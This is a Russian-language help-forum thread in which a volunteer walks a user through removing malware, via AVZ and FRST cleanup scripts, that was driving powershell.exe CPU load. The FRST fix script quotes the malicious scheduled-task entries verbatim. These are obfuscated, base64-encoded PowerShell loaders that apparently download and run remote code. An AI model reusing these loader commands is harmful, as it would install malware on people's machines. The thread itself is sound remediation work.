[решено] Подскажите как решить проблему. Процесс Powershell.exe загружает процессор на 70%.

SQx · Отправлено: **16:32, 24-04-2020** | #2

Здравствуйте,

AVZ выполнить следующий скрипт.
Важно на ОС: Windows Vista/7/8/8.1 AVZ запускайте через контекстное меню проводника от имени Администратора.

Код:

begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.'+#13#10+'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true); 
 QuarantineFile('C:\Windows\system32\romwln.dll','');
 QuarantineFile('C:\Windows\system32\killcopy.exe','');
 DeleteSchedulerTask('6VQ8K1zjkDb\8xqihJEKF');
 DeleteSchedulerTask('D7JZRMsnG');
 DeleteSchedulerTask('GF3WYh');
 DeleteSchedulerTask('hEuvNrK4GZ\XWuBYe');
 DeleteSchedulerTask('jrMnpqFu\X5DCtzqTVE');
 DeleteSchedulerTask('laXdVYrTu');
 DeleteSchedulerTask('Microsoft\Windows\7mTQLYuK5J\H8ApCr2OZoh');
 DeleteSchedulerTask('Microsoft\Windows\k7V4K5Lh\5jSaBtFRv');
 DeleteSchedulerTask('Microsoft\Windows\lwSrs4Yx6\mVPjWu3');
 DeleteSchedulerTask('Microsoft\Windows\qo7iKUIg\tR258CHVlXB');
 DeleteSchedulerTask('vFW1sLzPmEU');
 DeleteSchedulerTask('ztwhDuNUFg\REWyxo');
BC_ImportQuarantineList;
BC_Activate;
 ExecuteWizard('SCU', 2, 3, true);
RebootWindows(true);
end.

После выполнения скрипта компьютер перезагрузится.

После перезагрузки:
- Выполните в AVZ:

Код:

begin
 CreateQurantineArchive(GetAVZDirectory+'quarantine.zip'); 
end.

Файл quarantine.7z из папки с распакованной утилитой AVZ отправьте с помощью формы отправки карантина или на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: malware в теле письма.
К сообщению прикреплять файл quarantine.zip не нужно!

- Скачайте Farbar Recovery Scan Tool

и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Убедитесь, что в окне Optional Scan отмечены "List BCD" и "SigCheckExt".
Нажмите кнопку Scan.
После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа. Пожалуйста, прикрепите отчет в следующем сообщении.
Если программа была запущена в первый раз, будет создан отчет (Addition.txt). Пожалуйста, прикрепите его в следующем сообщении.

arjuna · Отправлено: **18:53, 24-04-2020** | #3

Результат загрузки:
arjuna, Ваш карантин отправлен, спасибо!

Имя карантин-а(ов) сообщите в теме:
2020.04.24_quarantine_474470d65541cf96781d4b5816c61340.zip

arjuna · Отправлено: **19:25, 24-04-2020** | #4

Нагрузка на процессор упала полностью, Powershell.exe в процессах нет, большое спасибо

SQx · Отправлено: **20:37, 24-04-2020** | #5

Удалите остатки от антивируса Avast утилитой Avast Remover.

Сообщите пожалуйста, если следующее вам известно?

Код:

HKU\S-1-5-21-2095655595-1606127241-192596380-1000\...\Run: [KillCopy] => "C:\Windows\system32\killcopy.exe" /kcresume /startup

Закройте и сохраните все открытые приложения.

Выделите следующий код::

Код:

Start::
CreateRestorePoint:
CloseProcesses:
CHR HKLM\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
Task: {00DC2429-E057-4609-8E6C-FFCD267A9D46} - System32\Tasks\MicroSoft\Windows\drQuPMIZS\VvCJPf => cmd /c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBNAGkAYwByAG8AUwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABkAHIAUQB1AFAATQBJAFoAUwBcAFYAdgBDAEoAUABmACcAOwAkAHkAPQAnAGgAdAB0AHAAOgAvAC8AdAAuAGEAbQB4AG4AeQAuAGMAbwBtAC8AdgAuAGoAcwAnADsAJAB6AD0AJAB5ACsAJwBwACcAKwAnAD8AbQBpAGcAXwAyADA (the data entry has 586 more characters).
Task: {0DD3927E-E935-4473-A206-F13BC898582C} - System32\Tasks\dgvYr4 => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 516 more characters).
Task: {100CD069-ED60-4F2B-B46A-A70224119F01} - System32\Tasks\sxLlTyMDr\fDCNt => cmd /c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBzAHgATABsAFQAeQBNAEQAcgBcAGYARABDAE4AdAAnADsAJAB5AD0AJwBoAHQAdABwADoALwAvAHQALgBhAHcAYwBuAGEALgBjAG8AbQAvAHYALgBqAHMAJwA7ACQAegA9ACQAeQArACcAcAAnACsAJwA/AG0AaQBnAF8AMgAwADEAOQAxADIAMAA1ACcAOwAkAG0APQAoAE4AZQB3AC0ATwBiAGo (the data entry has 538 more characters).
Task: {23660FB8-BC04-4B73-A0A0-8FD372F599C8} - System32\Tasks\JNmqgt => cmd /c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBKAE4AbQBxAGcAdAAnADsAJAB5AD0AJwBoAHQAdABwADoALwAvAHQALgB0AHIAMgBxAC4AYwBvAG0ALwB2AC4AagBzACcAOwAkAHoAPQAkAHkAKwAnAHAAJwArACcAPwBtAGkAZwBfADIAMAAxADkAMQAyADAANQAnADsAJABtAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0 (the data entry has 510 more characters).
Task: {30CFB000-EF2B-4642-B407-F915E67BC333} - System32\Tasks\9xPDWO1w2 => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 516 more characters).
Task: {32AC554D-2AB8-4C62-9EF6-A01A45906E13} - System32\Tasks\QIq7kTD\PSmQja1t => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 515 more characters).
Task: {930C551B-4822-4F3B-AB65-09377BFBC5D7} - System32\Tasks\MicroSoft\Windows\AONMUFLQCWZ\ixz9Apl3 => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 516 more characters).
Task: {A97648E1-B9C1-4B87-B003-FAABD78440C6} - System32\Tasks\Microsoft\windows\Rass => powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAGUAYgA/ADYANAAnACkA
Task: {BDEF1138-039C-434A-8432-D49AADEA6013} - System32\Tasks\k6MGJLKQ => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 516 more characters).
Task: {F294930B-3E5E-4E21-82AD-EC9700506D16} - System32\Tasks\XRO6CKs\81KY2pPqf5m => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 515 more characters).
Task: {F787816E-897F-4C5E-BF31-9ED37184651B} - System32\Tasks\MicroSoft\Windows\HcLIWp2Ry\zbpBUX => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 516 more characters).
Task: {F7F06144-ECD5-4959-BB91-3245E16DBCA4} - System32\Tasks\Oi2qUsET9\GOHElPD => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 515 more characters).
Task: {FFEC75F7-B8A1-4E36-B4CF-A60F0734881B} - System32\Tasks\MicroSoft\Windows\Z8OY7z\DftC0R7j => powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8 (the data entry has 516 more characters).
CHR HKLM-x32\...\Chrome\Extension: [ahnphcmhmhcjjcjhmnnjjlbmaeljecga]
CHR HKLM-x32\...\Chrome\Extension: [djlkjhaeaofhlchjkhhohmgadibkoaad]
CHR HKLM-x32\...\Chrome\Extension: [ehfjihahbphdpljpiadbkmgmhnfehhgi]
CHR HKLM-x32\...\Chrome\Extension: [fdjdjkkjoiomafnihnobkinnfjnnlhdg]
CHR HKLM-x32\...\Chrome\Extension: [glcimepnljoholdmjchkloafkggfoijh]
CHR HKLM-x32\...\Chrome\Extension: [mafpbclkdiejmpjnmioihcafdnlbmkco]
CHR HKLM-x32\...\Chrome\Extension: [palmggefdfeikonghaeongkabmgcagco]
2020-01-27 11:56 - 2020-04-24 16:48 - 000000000 ____D C:\Windows\system32\Tasks\hEuvNrK4GZ
2020-01-27 11:55 - 2020-04-24 16:48 - 000000000 ____D C:\Windows\system32\Tasks\ztwhDuNUFg
2020-01-27 11:55 - 2020-04-24 16:48 - 000000000 ____D C:\Windows\system32\Tasks\jrMnpqFu
2020-01-27 11:55 - 2020-04-24 16:46 - 000000000 ____D C:\Windows\system32\Tasks\6VQ8K1zjkDb
2020-01-27 11:55 - 2020-01-27 11:56 - 000003298 _____ C:\Windows\system32\Tasks\bluetea
Zip: C:\Windows\SysWOW64\ibank2ccom.dll;C:\Windows\SysWOW64\kc.exe
File: C:\Windows\SysWOW64\kc.exe
File: C:\Windows\SysWOW64\ibank2ccom.dll
ShellIconOverlayIdentifiers: [00avg] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> No File
FirewallRules: [TCP Query User{1844EFE1-5F72-4B11-9878-0D7649A3D5D7}C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8.exe No File
FirewallRules: [UDP Query User{DDC3A58C-E9CE-4DB2-8F23-0FF3FF5BE77A}C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8.exe No File
FirewallRules: [TCP Query User{DCF64D9F-1A1E-4B5F-AE4B-6E95D41F59CB}C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{AFBAFFE5-7FC1-47EF-99A8-D93783A4C684}C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{48539AA4-0693-445C-91A5-1639F05BD0C1}C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{BD0153CB-AC38-4132-A8C6-928B6167D082}C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.5.1336\bin\1cv8c.exe No File
FirewallRules: [{CBB8060E-7D87-4163-889D-CA688C3C38D2}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgmfapx.exe No File
FirewallRules: [{6E249DD7-70A5-4DBF-A167-067E565A368F}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgmfapx.exe No File
FirewallRules: [TCP Query User{397C2624-F43E-4B22-9D57-6FE1F9C4E238}C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{40DE4AB8-42B6-4BB6-89C4-B1F62FAFB2DE}C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{BB99F846-7DF7-4910-95E6-204CECD69BD2}C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{BA9BD14B-4F6F-4B36-96E8-A0548842E729}C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{1BEDF4A7-B49E-46A6-A275-70E8B1C59209}C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8.exe No File
FirewallRules: [UDP Query User{62D7D641-4C01-466D-B5DA-C14007183032}C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8.exe No File
FirewallRules: [{E03FA079-7F46-4003-99C6-111797BB1186}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgnsa.exe No File
FirewallRules: [{FD970CE0-E001-45E5-9118-5111DDBA1CA6}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgnsa.exe No File
FirewallRules: [{43082CCB-AB95-4EF2-A142-E4E3AF9766B4}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgdiagex.exe No File
FirewallRules: [{46B9965C-1F43-42E4-81F7-4459156E46D7}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgdiagex.exe No File
FirewallRules: [TCP Query User{1D7033C4-83B7-4316-A765-398784901222}C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8.exe No File
FirewallRules: [UDP Query User{45C3C4FD-6C5B-4FA4-B7FA-640512D1B33E}C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.1760\bin\1cv8.exe No File
FirewallRules: [{02AD1EF2-D998-43F0-A7BE-C8A9A24BFF26}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgmfapx.exe No File
FirewallRules: [{D34031BD-914D-46B2-99C1-4B32AC9CE850}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgmfapx.exe No File
FirewallRules: [TCP Query User{029EEA0A-9CA2-4C73-B6CE-77E0E68D4DAB}C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8.exe No File
FirewallRules: [UDP Query User{6DA06C37-2BD8-4F66-855C-A163C813986A}C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8.exe No File
FirewallRules: [TCP Query User{82FD30F7-FCC1-408A-9C2A-FE5F90237ED5}C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{1313037C-3DB8-47E0-BA75-5897A119BE80}C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8c.exe No File
FirewallRules: [{C751AA17-E78B-49A5-8252-077C8D3ED236}] => (Allow) C:\Program Files (x86)\AVG\Av\avgmfapx.exe No File
FirewallRules: [{7F62D91C-3F52-41CD-9790-33D9524596E4}] => (Allow) C:\Program Files (x86)\AVG\Av\avgmfapx.exe No File
FirewallRules: [{E9F981C4-470A-41D1-9AD4-302B8658D1D9}] => (Allow) C:\Program Files (x86)\AVG\Av\avgnsa.exe No File
FirewallRules: [{A635506E-8CCB-4535-9C30-017074338B94}] => (Allow) C:\Program Files (x86)\AVG\Av\avgnsa.exe No File
FirewallRules: [{B3A849B1-B9BB-4C94-9D3B-3C008A3DDD13}] => (Allow) C:\Program Files (x86)\AVG\Av\avgdiagex.exe No File
FirewallRules: [{67015C0C-8DB2-46E9-9730-2ADB99B19C6F}] => (Allow) C:\Program Files (x86)\AVG\Av\avgdiagex.exe No File
FirewallRules: [{DF10C4FB-9B38-4C9D-BB39-0C0E47D41763}] => (Allow) C:\Program Files (x86)\AVG\Av\avgemca.exe No File
FirewallRules: [{71AF7584-92D6-48DB-9DD3-64AEEA84534A}] => (Allow) C:\Program Files (x86)\AVG\Av\avgemca.exe No File
FirewallRules: [TCP Query User{4B5D1CC9-50C0-45D4-83F1-DB957A24C430}C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{B9EA8583-9D3A-49B0-A72B-47392A9EA495}C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{DA1EC544-80FC-4246-AD08-6AA0F7AC3C10}C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8.exe No File
FirewallRules: [UDP Query User{6594BC1D-D5E5-4697-96D8-8D52F604B409}C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.6.2299\bin\1cv8.exe No File
FirewallRules: [TCP Query User{C43AFE6E-E475-4EC5-A161-1535979B583A}C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{93487AD3-CE4A-4733-B7ED-4A491A98279E}C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{7FE28D74-E3BB-4B46-93E7-212F8AC3480E}C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{5C381A2A-6FB2-4AB8-A444-2CEE01C41C89}C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{3099595F-32AB-4D59-A446-6DCEDC214B4E}C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8.exe No File
FirewallRules: [UDP Query User{D056E38B-60F8-49B6-B481-996897CF49A4}C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.9.1818\bin\1cv8.exe No File
FirewallRules: [TCP Query User{173B6475-3668-4832-87D7-7B055EC2BC25}C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{4E33670B-1A81-46FD-A8F4-00814AD452F2}C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{507F3139-5A19-426E-8962-283DC3BE8E53}C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{73DC97A0-C336-4C94-8599-2CA0B6A08F43}C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{444A3A74-3C87-4E65-A569-2B69827C58E7}C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8.exe No File
FirewallRules: [UDP Query User{C8206CD9-E72B-424A-B603-499F61BA1FED}C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.10.2772\bin\1cv8.exe No File
FirewallRules: [TCP Query User{90FA8883-58AC-4397-ABE1-5CD51EF4EDCB}D:\install\obnovljator-1s\updater1c\connector1cx86.exe] => (Allow) D:\install\obnovljator-1s\updater1c\connector1cx86.exe No File
FirewallRules: [UDP Query User{E83EF574-7AA4-4F4A-93F6-92041FA3DDBC}D:\install\obnovljator-1s\updater1c\connector1cx86.exe] => (Allow) D:\install\obnovljator-1s\updater1c\connector1cx86.exe No File
FirewallRules: [TCP Query User{104F9405-A854-4E88-953B-C73BDB0F3C52}C:\program files (x86)\1cv8\8.3.15.1747\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.15.1747\bin\1cv8.exe No File
FirewallRules: [UDP Query User{82A6D486-07E0-42CC-AEC6-0664C49218BF}C:\program files (x86)\1cv8\8.3.15.1747\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.15.1747\bin\1cv8.exe No File
FirewallRules: [TCP Query User{19C5C717-E173-4A97-A846-C466A2B30B20}C:\program files (x86)\1cv8\8.3.15.1747\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.15.1747\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{CB518990-7ED8-4C7B-A63F-C386A058E73B}C:\program files (x86)\1cv8\8.3.15.1747\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.15.1747\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{BAB0A3F6-4709-47F7-A721-61A0ADA37136}C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8.exe No File
FirewallRules: [UDP Query User{33F4540A-899D-4FD2-96AC-6FD3964892FF}C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8.exe] => (Allow) C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8.exe No File
FirewallRules: [TCP Query User{8A6A3C50-A8F5-4C9A-97AF-0EBBCB36E8D9}C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{E00AEF48-79A3-4C7D-888B-1D1386347B9A}C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8c.exe] => (Allow) C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8c.exe No File
FirewallRules: [TCP Query User{2BAA14C6-CA7B-48E7-9280-B352C69A71B3}C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8c.exe No File
FirewallRules: [UDP Query User{867F8D9C-96AE-4650-8C01-1F84F70FF524}C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8c.exe] => (Block) C:\program files (x86)\1cv8\8.3.16.1148\bin\1cv8c.exe No File
Reboot:
End::

Скопируйте выделенный текст (правой кнопкой - Копировать).
Запустите FRST/FRST64 (от имени администратора).
Нажмите Fix один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). .
Обратите внимание, что компьютер будет перезагружен.

На рабочем столе образуется карантин вида <date>.zip отправьте с помощью формы отправки карантина или на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: malware в теле письма.
К сообщению прикреплять файл quarantine.zip не нужно!